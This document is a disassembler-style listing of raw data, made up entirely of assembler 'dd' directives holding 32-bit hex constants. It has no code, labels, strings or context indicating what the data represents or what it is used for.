		dd 0C40A0E26h, 4128E8A8h, 43280EA0h, 15A03E92h,	7396B461h
		dd 216A8E4h, 541F8A34h,	0ABEAEBD0h, 1643D01Dh, 0AB0D107Dh
		dd 0AA45600Bh, 0F52792D6h, 15E70914h, 0F7CC5A3Bh, 3A8D8812h
		dd 0E81A5948h, 28161309h, 3AC9CA4Eh, 4B58DECEh,	57149CEDh
		dd 64FD12B5h, 0BA40154Bh, 8D0C729Ah, 89B3B111h,	25039142h
		dd 43518827h, 55935F0Eh, 0D902A281h, 59258A8Ch,	2498779h
		dd 49A3B0h, 0A2CEC6Dh, 0F85C9BCCh, 0A5504C37h, 3C90138Ah
		dd 6F8C0342h, 0B195CA5Dh, 81A35035h, 4228E454h,	0BE349F8Eh
		dd 74072CC5h, 17218503h, 76B4658Bh, 85619C94h, 2C5C5206h
		dd 0E616D596h, 0F5AAACAEh, 73F13AD2h, 0AAAA098Dh, 3E338C01h
		dd 620AC14Ah, 1C7D520Eh, 3412FDCFh, 1560EE3Ch, 0C1822B6Fh
		dd 5D7D9BC5h, 885586BDh, 9835CE86h, 84289DE5h, 0A14515D3h
		dd 0E553EE3Fh, 0D66E7F24h, 865C0A87h, 0E5BFCFE8h, 475552h
		dd 0A1CA897Eh, 7D84E8D4h, 8D05FD09h, 0AFA0D955h, 2DA37F3Dh
		dd 5FE01BD4h, 50DA486Dh, 58DA3183h, 4EF81FC4h, 281FBD48h
		dd 0C093D758h, 13FAB34h, 8A814DFAh, 1304E006h, 8A57C433h
		dd 0C3AFE6B6h, 96A39E78h, 9F6CE8BCh, 409D15F9h,	0DA1BC80Eh
		dd 79FD4FD1h, 7BAF17E5h, 0D57C382Bh, 759B2746h,	4E16A965h
		dd 7DFCCED6h, 745DEFDCh, 0F3E77A3h, 6C1C5845h, 0C6FA6430h
		dd 2A895753h, 0A0BF3682h, 0ECD7DCA5h, 0A1B36D8Fh, 7F870213h
		dd 381355B1h, 3F3EDA83h, 10F9BFDCh, 62EE597Dh, 1546A74Ch
		dd 1CBA84EAh, 0F80AD823h, 0DE20F538h, 0B2C54405h, 221165DDh
		dd 953114A5h, 0CDA77D47h, 0E46B7DEAh, 59C5B6E0h, 592306BFh
		dd 799AA79Ch, 0DF7E7A4Bh, 743AA48Fh, 1FE40139h,	0D2B3EE19h
		dd 810DCBE4h, 6716EB82h, 0A6CCEFD8h, 9389EA7Ch,	0F3523580h
		dd 48DD5754h, 6110E9FDh, 72898114h, 84E01830h, 6500515h
		dd 1751BCE4h, 0C2149F74h, 7E00C055h, 0DA342E37h, 9CAC60BDh
		dd 0B1E41C27h, 7F4EE24Ch, 0EC232116h, 0E037A2FBh, 7E57596h
		dd 8EFAB405h, 382454B1h, 0B0A03FB7h, 8301246Dh,	568A9D75h
		dd 0DF8B0701h, 0A8A3630Bh, 35995D3Fh, 6D6BDCA3h, 9B7385DCh
		dd 9EA2FD89h, 81D5F0FDh, 823686A7h, 0E05B1DA9h,	7A991710h
		dd 1C849106h, 0DC5FB9E0h, 7D6C1863h, 3D1FC651h,	1344C80Ah
		dd 0C048ED1Ch, 44E204DEh, 0D641D41Dh, 574A1A7Eh, 57528909h
		dd 2FC69869h, 2E1D9DB1h, 0E186C98Dh, 0C5E04BFCh, 17F7215h
		dd 5E0EF94Ch, 0EBEE9619h, 0BD0271AEh, 2BAED2ACh, 0CC80D6A2h
		dd 0F6D129ADh, 5175AC29h, 2184FD15h, 0EE982A6Ah, 7A814DA2h
		dd 5ADCB53h, 0D4D6914Ch, 0FEEDA84Fh, 6173FEC5h,	0A8EBC5h
		dd 975BAF1Ah, 43F43C7Ch, 0D20E4EF9h, 332D5B0Ch,	15E82AB9h
		dd 0D345B968h, 95A2F4BAh, 7AA7C268h, 0BACCF161h, 0D0A5A67Dh
		dd 5361E6BAh, 0EA57D63Bh, 14E7B1F0h, 7268710Bh,	0CAF114A0h
		dd 1C0DF2F2h, 0A4DCB3Ah, 0BFE8A75h, 0C5A85BADh,	162DF131h
		dd 305A104Eh, 86DA9637h, 0B019F7E8h, 72A80A3Bh,	3045DC59h
		dd 0B54233E5h, 0CCA299CEh, 4B661DCAh, 57C4F615h, 0EE566F49h
		dd 0D4C9E310h, 16EB208Bh, 8B94542Dh, 0A1772AA1h, 0C63FDEC2h
		dd 96A890B6h, 0ADEB8B3Ah, 29A8F7FFh, 45BDFAAEh,	6716387Eh
		dd 0D95D1C6Ch, 43F2882h, 6A78154Fh, 6B00D51h, 23D0403Ah
		dd 960F9A17h, 7CD343h, 0EB725215h, 17826B70h, 0A541CD7Bh
		dd 5BF2A22h, 0BB9168A5h, 0E51120B7h, 5D5B4511h,	42D69DE1h
		dd 3BC1A4DCh, 27955594h, 216EB453h, 911BDA91h, 8FA037E6h
		dd 1F8AA8EDh, 0AFC276BCh, 0AA37A1E4h, 597DE8B3h, 245AC9E6h
		dd 2EACA990h, 0ABE5948Bh, 9DC2157Dh, 5B54A218h,	7565A185h
		dd 5380AE2Ah, 83557B75h, 9195996Ah, 0EC21DD78h,	0E5D33BEAh
		dd 0AA117414h, 0AEA5F53Fh, 0A67A3712h, 789C563Ah, 9BE855AAh
		dd 3D57C1E7h, 15C4AC20h, 7CB940A5h, 0A1557954h,	0EE60695Ah
		dd 24AA355Eh, 0BA0D46DDh, 5E69C0B2h, 0C52E5535h, 59C46578h
		dd 61629EA7h, 0E4D4EF28h, 45F777ABh, 472E3E9Dh,	52881051h
		dd 4E97DA7Fh, 6C56589Fh, 42290128h, 409C3DEEh, 5059C442h
		dd 0B0B453D9h, 6B20071Bh, 229C5A6Dh, 32740609h,	378D84EEh
		dd 7FE24E72h, 0DFDE3659h, 816192B8h, 0F2D8D453h, 0C70155F0h
		dd 27E76997h, 1CB9F5BAh, 5D6ECC5Dh, 5877C279h, 2576A595h
		dd 48CE2891h, 1C5978D1h, 3C3EDE23h, 0A35B052h, 1AB0FA7Bh
		dd 0B84F1514h, 0AAC1902Fh, 37E1C128h, 0ACB60048h, 0DA550851h
		dd 1F374055h, 0CC74BD1Dh, 2A635225h, 0E9AECE45h, 0D516F75Fh
		dd 0B79759B5h, 0C57A1472h, 0B0AB56B7h, 0F5C31E87h, 5F475712h
		dd 0CC08641h, 0F8E2E404h, 4B176CCEh, 0BE1E110h,	5D514086h
		dd 8AF601Ch, 717FE216h,	0F824F7B5h, 0CDBACDCEh,	37DFEE7Fh
		dd 17B17331h, 22160291h, 0CC2416DEh, 0A2B545AAh, 5C442910h
		dd 0CE66AB62h, 0B0EA948Eh, 8A4D3766h, 70162923h, 0F68C58B8h
		dd 7EED4E15h, 3B6B60EDh, 0E5374B41h, 4179F90Ah,	0B419A0FEh
		dd 2930539Ch, 76AE7585h, 4C3DB7C7h, 0ADE2C915h,	12027DAEh
		dd 0AB49A3A0h, 26C21D4Dh, 9655B2F8h, 0B8BF017Eh, 0C3F5CFB0h
		dd 0DC502C6Dh, 1675C4D4h, 0B5CF9589h, 0B3D922C6h, 8430F9F5h
		dd 155A4DECh, 39DA4A7Fh, 471C07C5h, 61575111h, 0C2E77284h
		dd 1092808Eh, 7EC22E7Bh, 8048275Ah, 0D8F7D4AFh,	3735B5D1h
		dd 88BF3BE0h, 69C0DF30h, 0B7C37F9Bh, 612AF7ABh,	34CD5FA3h
		dd 114DC3A0h, 0A34E119Bh, 59A7CB15h, 1FCEE7B1h,	5AD1655Ch
		dd 684BA2B3h, 1659042Bh, 0BC253FE9h, 0EF8EAACh,	0D7FC8737h
		dd 0F704B54h, 7B97039Eh, 97CEFA2Fh, 0C5F7EA8h, 0F62B0678h
		dd 39C718BCh, 0BBA1F737h, 3D164856h, 80085577h,	5961883Ah
		dd 9279289Bh, 0CA8845D7h, 0C68EB643h, 375EB7C2h, 0CE544427h
		dd 989482BEh, 589BB11Bh, 1D9DC132h, 3F561F47h, 9B171BB8h
		dd 225DC723h, 0CBC7D879h, 9E714C90h, 0B091EF0Dh, 0F1FF16A9h
		dd 39BF6A34h, 0A7CAA420h, 0DD84EF1Fh, 9054DE9Fh, 0E32D2C68h
		dd 3178F99Eh, 71D5CEF4h, 380C70C3h, 1345EC35h, 67A24744h
		dd 276502B5h, 2A2D147Ah, 15278168h, 684C2C7Ah, 80841FF7h
		dd 0D5FC5DD3h, 0CA62D34h, 583E6ACCh, 0F17071ACh, 0FC099F6h
		dd 20EE6581h, 7CD57082h, 438F7E90h, 0AAD59432h,	0C978048h
		dd 0BAC6F6F4h, 9C2FE34Eh
		dd 0CD031C74h, 0BF7FC56Ah, 0F0E5660h, 1897CAFAh, 0C06F4CA8h
		dd 76AEF4D6h, 14004309h, 91A43DB0h, 4E2BD262h, 0A5DD3C09h
		dd 8530BBCBh, 0C78BD4CAh, 9616E2F8h, 4732A811h,	8E3B16EBh
		dd 0B4DC8E6h, 33A2D298h, 3E286862h, 0D66ABDC6h,	0AA6B55D5h
		dd 47245815h, 0A59FD003h, 0D295A111h, 0E5789521h, 0B178E6ECh
		dd 6EB8E859h, 3F805990h, 49C2512Ah, 9D096934h, 368F3654h
		dd 0AE2E1F1h, 5D6863B8h, 0C2ADEB9Ch, 8A23BE34h,	0D55E5B4Eh
		dd 0A13BB8D2h, 337E9D9Ah, 0DD19CEEAh, 0B4F64A11h, 99E331DAh
		dd 8ADA52CCh, 5141F295h, 5E61D657h, 0F65F465Dh,	6ABB8745h
		dd 0CEBB52A6h, 4AA60C57h, 84B87CFBh, 0B22A7576h, 0A903EAB7h
		dd 0BD6E304Fh, 17480253h, 69C54E62h, 1B974AEBh,	6EB13F30h
		dd 54F3C005h, 92A0C4Eh,	36B816B4h, 0DD5B2FBh, 791ED6FCh
		dd 61117004h, 0A5F45B52h, 0A4B2FD03h, 83E82D4Bh, 0E9CBAEC6h
		dd 97E0E2A3h, 5FD157D5h, 0EFE75A56h, 517D5702h,	9670F985h
		dd 11011B7Ah, 92326159h, 0D911AD91h, 20308B54h,	0CD949DC2h
		dd 0BB055DD9h, 0ABDA0125h, 0D571FACEh, 0E2E62996h, 0A12F4CEAh
		dd 0B6ABBAC7h, 9229C4CFh, 32B368Eh, 6332689Eh, 0D1E15D1Dh
		dd 80D20022h, 0FCE616C2h, 46F0208Dh, 2D882311h,	0CEE2267Ch
		dd 968D90C4h, 750A36F3h, 0E00DC446h, 0D5860E87h, 8D33688h
		dd 32002735h, 4CBA865Bh, 27E6F94h, 1F632346h, 0D6E8731Dh
		dd 0F633C440h, 0F025101h, 8623C02h, 0F4524D1h, 0D1AC24B1h
		dd 172BCFFDh, 805C910h,	5008A470h, 90C478CCh, 0CC113288h
		dd 857104D8h, 8E6AFB34h, 0D68AE0B9h, 0C60ED2Ah,	0E201E0D1h
		dd 0B5402C68h, 3A1E3D1Ch, 0A33B5430h, 80A2B8AAh, 504868F3h
		dd 928C5BDh, 4E9A1A35h,	5B15228h, 6510644Ah, 0A1BC3268h
		dd 0FB10BA64h, 6013D4E8h, 0D8848C23h, 0AD132108h, 4790CFA5h
		dd 0A67558C3h, 813E0DCEh, 0AD0B11A5h, 2505D760h, 0A5426360h
		dd 112BA1Bh, 21123086h,	8F196286h, 1845280h, 1EC9081h
		dd 0DE1448CAh, 0B6D6622h, 23685FD7h, 25AD0ED2h,	6666114Eh
		dd 96D22EABh, 0A41F2A02h, 31ECD699h, 97E6BA42h,	1188A01Bh
		dd 70462360h, 0D1ACB0D1h, 452CFC72h, 89B888D5h,	4ACABA90h
		dd 4E0C4452h, 92A82711h, 1465A524h, 3A708F6Ah, 677259A1h
		dd 9C658DC0h, 8F14408Dh, 0B38CD815h, 104E535Fh,	0D04C8AA9h
		dd 913A228Dh, 9E00F85Ah, 26748D5Fh, 8C4E37EEh, 0A80B11A7h
		dd 1BFC6F11h, 0C6235160h, 1BBA189Ch, 0E5A681Ah,	2B4B089Eh
		dd 8CDED0ACh, 4E1142C2h, 4F82693Ch, 1D2FE6F3h, 0A17B7681h
		dd 0AA5896A5h, 4662B013h, 5A943DACh, 760886B8h,	3914B073h
		dd 65B9D646h, 0A780341Ah, 0E6A308C7h, 0A4896F1Ch, 6F224B11h
		dd 0C4E39184h, 6E7D138h, 0DF4B9958h, 818D7968h,	1BEE4A24h
		dd 0AFC10F20h, 4C6C01ADh, 81A08E3Dh, 230B44A4h,	0A44FC72Dh
		dd 0A92DD195h, 0F2D22270h, 2D232309h, 0D23E3095h, 0B60908B2h
		dd 6B8B6D11h, 0B169D8B9h, 34B095A3h, 96946E77h,	944B24B9h
		dd 0C00DCE01h, 0D46D0266h, 2186EF9Ch, 37930234h, 84468CA2h
		dd 5E11968Dh, 6970C626h, 26598BB0h, 0C9C46A4h, 0AE8C11ABh
		dd 11B15711h, 16461A54h, 4F110C4Eh, 9344B226h, 64B1A309h
		dd 0C1A46EE2h, 50991BB0h, 9026911Ah, 0A50C1C46h, 11A74511h
		dd 11468243h, 0F9878C1Ah, 0B47EFA04h, 99FFBF2h,	0D1C209A8h
		dd 0F4550022h, 3F49189Ch, 31EFBFDDh, 0C113EE22h, 6F6C0035h
		dd 236F3A80h, 0C0374CE4h, 6B1116DFh, 99C4C226h,	0A476BE09h
		dd 61866AE2h, 31C501BEh, 0C0888C22h, 293EBE72h,	2802B8ADh
		dd 0CE04460h, 422025F0h, 48A2A8CAh, 0BDA8187Eh,	6F0A6311h
		dd 1BAAD784h, 0F3E3521h, 0DD118D58h, 0D8804819h, 0A359B7A8h
		dd 0A8D193D8h, 0CA3711B4h, 1A8D846Ch, 3C0A711Bh, 2BA5D803h
		dd 79A934A1h, 9E22E408h, 0FA035C50h, 0DA05A50h,	50841585h
		dd 450E1156h, 39040315h, 276F22DAh, 89DF4EB6h, 95C413B0h
		dd 31150329h, 0DB84ECC7h, 426BB788h, 0F404E59Ch, 98FD65ADh
		dd 982C6AE2h, 6FC04046h, 46115FC0h, 3441E5A3h, 8C1AB50Ch
		dd 0E89B11ACh, 2357D2Ch, 0BA3704CFh, 4DC0F130h,	1334F190h
		dd 452E1BFDh, 0B17088D0h, 0D1C3B870h, 2808D0D6h, 99C01B11h
		dd 31990ED1h, 9011100Eh, 0D822828Dh, 7CB74A10h,	667B4827h
		dd 2741B161h, 27016FAh,	6A6011EEh, 0C40E54CCh, 0A2F60B68h
		dd 0E6254FFFh, 4C536190h, 0C04E1D5Ch, 41FA888Dh, 0B3B9C4C7h
		dd 49E9D17Ch, 0E507D7D7h, 6512EB61h, 4C0332B8h,	0E04EE099h
		dd 0E8827C82h, 641102B1h, 8DC8B70Eh, 96747398h,	8D34527h
		dd 0A48873CAh, 5A340663h, 90C1DECEh, 69C3511Bh,	0CB32A114h
		dd 0ED4C3E9Eh, 9A8D2185h, 923060D3h, 46E8D046h,	0C06FD1C4h
		dd 0D42328FFh, 9CC8C44Ch, 1B2F5418h, 0A085234Ch, 7D9687D9h
		dd 9D6A2B0h, 86538AA7h,	0C3248329h, 0C432A489h,	0E626B455h
		dd 0A8AD9950h, 0E8224C39h, 328DD446h, 103C984Bh, 32894B4Ah
		dd 7B80994Ch, 16D41458h, 23768837h, 599256EEh, 27461455h
		dd 9CD49496h, 6F6111AAh, 3C88C022h, 5220A517h, 8F7FDE04h
		dd 8F6A8E54h, 0D68F2CA9h, 3F591D8Dh, 0C1A00A3h,	0A80C512Fh
		dd 11256E11h, 65E1C960h, 0CE9E8E49h, 0BD043A80h, 0BBC27B11h
		dd 0CAD77FDDh, 19D226B2h, 5D73CF67h, 447C60Bh, 95E79898h
		dd 0DB5FA98Ch, 64ACD118h, 0A4322980h, 468ABE28h, 5311555Ch
		dd 0C5D8358Eh, 473CAC0Ah, 0ED8906FAh, 6FC2B00Dh, 735291C4h
		dd 0E1D690CAh, 9A4EBA29h, 0B13B03C9h, 15BF6265h, 84E7F065h
		dd 4AED88DFh, 2F56DCC7h, 499F6D57h, 35767EE9h, 7E37DA73h
		dd 0CFF9CE97h, 9572E92h, 816ED76Eh, 5C0428F3h, 47975F1Fh
		dd 4900A5DCh, 120D5329h, 39A87068h, 509D2D22h, 31884553h
		dd 138FAC47h, 4455AA6Ch, 0DBC4A397h, 8AA73709h,	0EA3972B8h
		dd 53900138h, 47254045h, 74139DCCh, 0E43108AAh,	0C277BA88h
		dd 0FA5B154Eh, 0C09D711Ch, 3B0853FBh, 259DE447h, 68FBAA3Fh
		dd 22AEC70h, 68BE11CEh,	91159F06h, 1A5F88E6h, 189F4FC3h
		dd 28C4C473h, 0BAAE8A63h, 1562CD39h, 0A2BBF35Dh, 5955D548h
		dd 5D591E3Dh, 0FDA7428Eh, 0A1854699h, 0C717FEBh, 8432F62Dh
		dd 0E3808C5Dh, 516C205Ah, 0C5479C34h, 0C5F6A9D5h, 5ED9F19Dh
		dd 510C2B38h, 0AF7DF2A2h, 9A83042Ah, 0D415FD91h, 0AD332BE3h
		dd 88627C89h, 78BAF06Ch, 0BAC1F860h, 0A0D5F0A8h, 0AAE90C08h
		dd 4C0F6B87h, 46BD302h,	54DF8D50h, 98623EFCh, 0BB16716Eh
		dd 356DFEEAh, 567231AEh, 10745F46h, 801E21BAh, 0FC3AAD6h
		dd 0B62D57B5h, 247DA95Eh, 0FCB5D560h, 3BECE189h, 23FF277Ch
		dd 0CCF914DFh, 0A851EBB9h, 0C45B389Dh, 98E03A96h, 0ABA41514h
		dd 21B73F50h, 48871405h, 677C5823h, 0AA6788D0h,	83AC8BE7h
		dd 0BD9AD2ABh, 279AB1Bh, 758C04EEh, 17803223h, 300597BEh
		dd 0EC0F8C05h, 45722E90h, 0C4C3ED5Fh, 3E3CFB0Bh, 3BE8E878h
		dd 864F1285h, 0D7EE5F3Bh, 80C6C308h, 83659176h,	82498B6Ah
		dd 0F915E2EBh, 17F0C350h, 9B91DEABh, 14F91922h,	0B7860251h
		dd 0DF23EAF1h, 5F7C8509h, 18A8F53Ch, 46E41D62h,	0EB342419h
		dd 3249CE43h, 0C7306C5Dh, 0DFDE18C4h, 0ADB734B9h, 5DDAFDE5h
		dd 6CD451C3h, 0A7960057h, 0F216B659h, 7F831ACDh, 3075AF5h
		dd 32AF8287h, 0F0F6E829h, 1397E31Fh, 46F88644h,	31BFD43Dh
		dd 0EB7667FEh, 0A7BD805Eh
		dd 6055185Fh, 0FF6FD95h, 0A72D2871h, 99526FA6h,	5E944EC5h
		dd 0F07F74BFh, 4C10CC84h, 941C625h, 0D2310F21h,	0F460D315h
		dd 7D300E3Bh, 0E853D404h, 0EA46ED57h, 5F390827h, 0FD029CA9h
		dd 81FE4322h, 7F8433C1h, 538D0CDFh, 0D937E582h,	621CB97Fh
		dd 0AFE1BA00h, 0C8A6189Ah, 6EB9340h, 0D3BD8527h, 5CF0B0A7h
		dd 40F87865h, 0CB220A9h, 5654EAB9h, 0B32DA2ADh,	0F02D7C66h
		dd 0BFF34B6Bh, 0DB64540Bh, 8CDAFA2Eh, 0E62A4900h, 0FCC724C3h
		dd 50141180h, 6074EFF0h, 0C4CC84DDh, 231A0F5Fh,	8682808Dh
		dd 7694819h, 0D684E50Ch, 0E66275D3h, 50DF86F9h,	0CBB5F2ADh
		dd 3B964239h, 281AEA5Ah, 0C91CE75Dh, 0AFB3ACEAh, 4E5AB2E8h
		dd 0A1D210EEh, 0D902C77Fh, 2EB954FFh, 8E3BB9FBh, 0BC44C81Fh
		dd 8B70F6FDh, 88AF55E4h, 0FD6ABF85h, 85094Bh, 0CE738D9Eh
		dd 1615555Fh, 0AFA37FF0h, 0F16521E8h, 2E7815FEh, 4CFDCB59h
		dd 5185C85Dh, 183A1DEh,	0E408A208h, 94B45915h, 0C3C87088h
		dd 104B47C8h, 0D8A854Fh, 35D4AE8Bh, 54DC3E15h, 0E555D2C7h
		dd 68EBB90Dh, 79C41D2h,	7680F4BCh, 9B579471h, 26073801h
		dd 0A6D7546h, 0BAB102EEh, 99E41C80h, 195F3637h,	0BFE17F15h
		dd 34321990h, 0DC6BA650h, 43239CD6h, 40DA9AFBh,	0D704ACDAh
		dd 7D42C9Ah, 0B3FC8D8Ch, 4A62F3CEh, 7E289497h, 22ABFD78h
		dd 0F2F492BFh, 8B8E9E50h, 0E9BE1231h, 7E00A21Eh, 10698160h
		dd 0C2EBA138h, 0C4AD5017h, 0B964ACFAh, 7479160Dh, 81806918h
		dd 435A8DE6h, 0FA12BEA4h, 0EE982116h, 0D829D614h, 0B541DD41h
		dd 0E6201008h, 70029B66h, 9647BFE4h, 0C5E40D8Dh, 0B3D51205h
		dd 0AB7D982Eh, 0EBB7487h, 0CA83B5D6h, 0DA66C276h, 4CE7590Fh
		dd 877019ACh, 0B0AE105h, 80E6423Ch, 0FFAFB025h,	0D4A781F6h
		dd 9D7016F5h, 82D014h, 0CE2FE881h, 0E87EBE85h, 0FBD3379Fh
		dd 54191A18h, 4D181045h, 5C0D10B4h, 7F44F567h, 0BABA6177h
		dd 88A48E03h, 7D2BBDBh,	0B4406A91h, 57DD8D63h, 523130D4h
		dd 0EA377EC5h, 0A3D289BEh, 956F041h, 768B3F8Ah,	0E3E3D1h
		dd 11B3F983h, 7455EC03h, 0AA0A3E81h, 60517E44h,	932FAE4Ah
		dd 49843EF1h, 0C360D074h, 312685FCh, 91C45CEEh,	0A3F35DFh
		dd 0AB667A20h, 0DCECC5DEh, 0E989B060h, 0A817222Ah, 0BDB6A0Ah
		dd 270C4228h, 9D449196h, 5B6D295Ch, 30F29D54h, 546EC582h
		dd 0A6F1DE2Ch, 0B8E782Eh, 0A0F3BEC8h, 0D5A8377Bh, 0ED9CBBA4h
		dd 20E3FF2Ah, 2EB2968Ch, 51866907h, 0DF2EA5A0h,	1338851Ah
		dd 4C70D635h, 4CFA4394h, 0E1440ED4h, 85298886h,	10CD0794h
		dd 0F7A2BA85h, 0D164C284h, 0E181A356h, 625F00E0h, 0C3398D94h
		dd 0A38AEA20h, 0DFE24D7Dh, 2C1E4411h, 57726523h, 0C385712h
		dd 0B22A6056h, 4106AA8h, 7A67A2BCh, 0F26ED7CAh,	0FF45C0C2h
		dd 0C411902Fh, 0EC5567ECh, 0F13357EAh, 0C736C833h, 36BF7711h
		dd 157C81F0h, 7C89B789h, 1F848BB1h, 0CE0F5F3Eh,	0C16CCB84h
		dd 4E4ED387h, 82163CA0h, 252F4516h, 0F0F5A815h,	0C3AF68E2h
		dd 0D47BD54Ch, 104CA5D3h, 0F0314460h, 0A0214C97h, 0C55AAF0h
		dd 0A213C5FCh, 9BF09B77h, 0DB0DBFBAh, 77C7D854h, 0F5ED062Ah
		dd 8C32BA14h, 578F6D1Dh, 5924EB22h, 469FFA29h, 0EC10C1C3h
		dd 0F955C5C9h, 0CA86AABDh, 3270585h, 9CCFB466h,	6C6DD7CCh
		dd 0E590AEDEh, 51F07A08h, 0C4EEFC6Bh, 0F8FA7C38h, 0AC507D72h
		dd 0DC8FA4Bh, 12FE9145h, 0D7FB8563h, 121D4921h,	572881E6h
		dd 0D8FF6F76h, 0FA19A87Eh, 0BF91CCFEh, 0F8A2CF02h, 58D9B015h
		dd 0B7CA7C17h, 0BEB7AACDh, 29838718h, 6FD110A2h, 0EABFFF40h
		dd 0DAFBD39Ch, 0B8D947D3h, 55105D2Ah, 0E750A02Eh, 89587EDh
		dd 0F6AF3E3Dh, 808B26EBh, 9AAFFAE0h, 0A25108C2h, 62935D20h
		dd 577A0A5Dh, 0E9119125h, 24B95033h, 0DF7E4D34h, 0D0592F47h
		dd 10286221h, 4D69E9A4h, 97590AAEh, 42264947h, 5DC1857h
		dd 7E4777A3h, 8EEF14C5h, 0B6D1457Ch, 0D5E484CFh, 2AE2687Dh
		dd 1DD28186h, 0BEC253BEh, 0BA9C0D83h, 0F9C80172h, 49CDAB84h
		dd 759052A7h, 687777B1h, 175054D8h, 0BBC77139h,	9E3F1DB6h
		dd 0D345DF24h, 9833FD77h, 977952AEh, 0D6FFB0C5h, 0AA38465Bh
		dd 0C3BF99C5h, 4D01FB9Eh, 73CAC499h, 4939CEDDh,	5779ABC5h
		dd 66FBA295h, 400202Ch,	895DC826h, 0A4C228F7h, 3043E05Fh
		dd 0CE8C986Ch, 86EB51FCh, 79097F47h, 0A209C45Dh, 66F81499h
		dd 0D01F51A7h, 805117CEh, 0C622E41Dh, 0F8E8B3B4h, 48C7BF3Bh
		dd 757BB441h, 4C5D6E62h, 0AB3613B0h, 3813C185h,	6E3BA889h
		dd 8BBEBE54h, 0BA0ABD46h, 0BA920232h, 0FB14B908h, 3A95777Ah
		dd 3398B2CEh, 0C4268879h, 78DA893Ch, 4C0D97D3h,	7902AF17h
		dd 0DBD96D72h, 8FA347A0h, 7F1FCC4Dh, 1652DE07h,	8F407678h
		dd 0C7718CC6h, 72220E09h, 231EDF63h, 42A9FAE0h,	0A7FF2E89h
		dd 720403C1h, 0E32988B2h, 26E18AF8h, 4C005701h,	677F6B89h
		dd 53EACA21h, 88763108h, 7508D540h, 6647103Bh, 0E8D3532Ah
		dd 6A27BA97h, 0DD4C2741h, 6BEF2A5Ch, 0BE794652h, 0A2C25352h
		dd 0A5568355h, 0AF2B8ECDh, 55C2D50Bh, 0C07CE48Bh, 0F84EED92h
		dd 9FE7EA4Ah, 17ECFC3Ah, 238FD9D1h, 35CE9456h, 0B6F1254Eh
		dd 57676AF8h, 5EBDAB3Eh, 1E11153Eh, 37790A87h, 0BA66456Eh
		dd 0F0B0374Ah, 56158648h, 61EBC74h, 0CB3A6F2h, 60DC9D6Dh
		dd 0D5E79F44h, 0D9DD9023h, 70585F29h, 4A5AE146h, 5E6BC6D3h
		dd 0A02A88D4h, 22CB49ACh, 7074575Eh, 75ADAC24h,	39DDA45h
		dd 9F16B476h, 94325E79h, 98CE1955h, 0E93A4EBBh,	432D2AA8h
		dd 0EB7AE023h, 8BB01746h, 0BCA321EBh, 380AE32Ah, 72B82F08h
		dd 0F11A4BBFh, 7F82084Fh, 0CD0EC319h, 0F6C3B462h, 0E0A6D0C5h
		dd 730567FEh, 55E165B7h, 0AA220091h, 91B6B4ABh,	0E4123C78h
		dd 6DC6161Fh, 3FDE6B24h, 0FCBCF461h, 0A5479E3Bh, 0EE8967C3h
		dd 0D9A4C3F8h, 0EFEE3EFh, 6BA4D640h, 7DFC46F9h,	261E3703h
		dd 0BA9140C6h, 39EB773Ah, 819368DBh, 60373C3Fh,	52857688h
		dd 14099051h, 5CBE5D2Bh, 1422D8C8h, 0CD01C70h, 47D5FEE0h
		dd 55CC2ADFh, 2EC809A5h, 6D61BC68h, 0C163329h, 82D37AA6h
		dd 7BA5449Bh, 0E80FC315h, 0FB418CEAh, 0A61F56DAh, 3A79550Fh
		dd 453F5155h, 76B45449h, 0A5F17141h, 0B4617118h, 0D945625Eh
		dd 4091188Fh, 756296BCh, 0FD76857Dh, 69893311h,	4338B773h
		dd 5A374794h, 0ADE2ABA4h, 410531E4h, 0F2B8E7BFh, 0C570A06h
		dd 3E05E079h, 0DF62705Dh, 0C0C27135h, 0E169F111h, 0E7266068h
		dd 0F77E9877h, 0F3AAB2Fh, 81487F14h, 93BE225h, 10B43E3Eh
		dd 0DDF07F03h, 0A8AF0275h, 0BCAF9601h, 751DB142h, 0C622BD67h
		dd 0A3A6331Ch, 0A812CB8Dh, 63907C5Ch, 0C77C7D00h, 60C6019Ch
		dd 0A212424Ch, 76FB8080h, 65636CC3h, 0DB87CA13h, 17AEEA71h
		dd 0F503DEC2h, 42178DE2h, 1DED2DD0h, 4AC9A0C5h,	0C5045671h
		dd 0E3BBA307h, 8DC5EB89h, 3F06C5A6h, 47D4B80Bh,	3B036580h
		dd 737532B1h, 0B225AC22h, 0ADCE861Eh, 353B7482h, 0F3AE7AE0h
		dd 0F19D44C0h, 60310763h, 94A07B4h, 0E7D12F8Bh,	5A4DDEABh
		dd 0F0954DEEh, 2BE1223Ah, 0E8548F98h, 0B2873D4Dh, 85655455h
		dd 30E895F0h, 3ABE7C18h, 8C449759h, 514602A9h, 0D2319E62h
		dd 1551117h, 0FB86499Fh, 9F7EBB31h, 56DB54EEh, 0C054E14Dh
		dd 738BE3BBh, 0E2106020h, 6F7DF9EFh, 0E846E517h, 217EAA78h
		dd 0EC572AD9h, 0BC630FDFh
		dd 0E96EE40Ch, 0E03F5Ah, 0E41012h, 6FAD0854h, 1D08900Eh
		dd 4B9B8D7Fh, 0B54C9F9Bh, 0B717C1CDh, 71BA9548h, 0A1E4C6C4h
		dd 6D0AA050h, 0AB8E49CCh, 6F7FA279h, 4AF8FEB1h,	31BEE022h
		dd 0FF4476A2h, 0BFC5BD59h, 14CD9ADBh, 7282834Eh, 0C5FADFAFh
		dd 0B22B4EFBh, 6D9F2813h, 4058CDE9h, 0C2FE2F9h,	77AD3F3Fh
		dd 0B83F26B1h, 0E65ADCA0h, 483F542h, 7730D54Bh,	74A8E089h
		dd 0B4490854h, 24C94993h, 9929BA53h, 6D125A24h,	65320A64h
		dd 0AB93C94h, 0D8081689h, 346FBAB5h, 0E1C412BEh, 0BA75A303h
		dd 0A4D6FAEBh, 602A77A2h, 2E230745h, 4F9D68BAh,	0E517EE4Ah
		dd 0BF0A501Fh, 6F06F4E7h, 0E9041FA7h, 0A739AF9Ch, 0D7D4BAD4h
		dd 2889D9E3h, 41C39811h, 8A50404Dh, 20537E1h, 0D09A5461h
		dd 625E0F5Fh, 0F7A051Fh, 0ABACBB86h, 7D1E1750h,	0BB7D2412h
		dd 0AD5DAFF7h, 7902554Ch, 0CB6468A9h, 334E4A86h, 3516EBh
		dd 0B0800B2Fh, 71124A58h, 204825Fh, 57412E99h, 23971EA2h
		dd 0E1FDF6E8h, 0E927597Ch, 7D80642Ah, 0FD7F7FFAh, 0E4627231h
		dd 7014ECB4h, 0CBBF962Bh, 98097F6h, 4FCC966Dh, 52DE61B5h
		dd 0E2D39D55h, 7B317FF3h, 0A9251A7Fh, 0D153342Ah, 2A210C07h
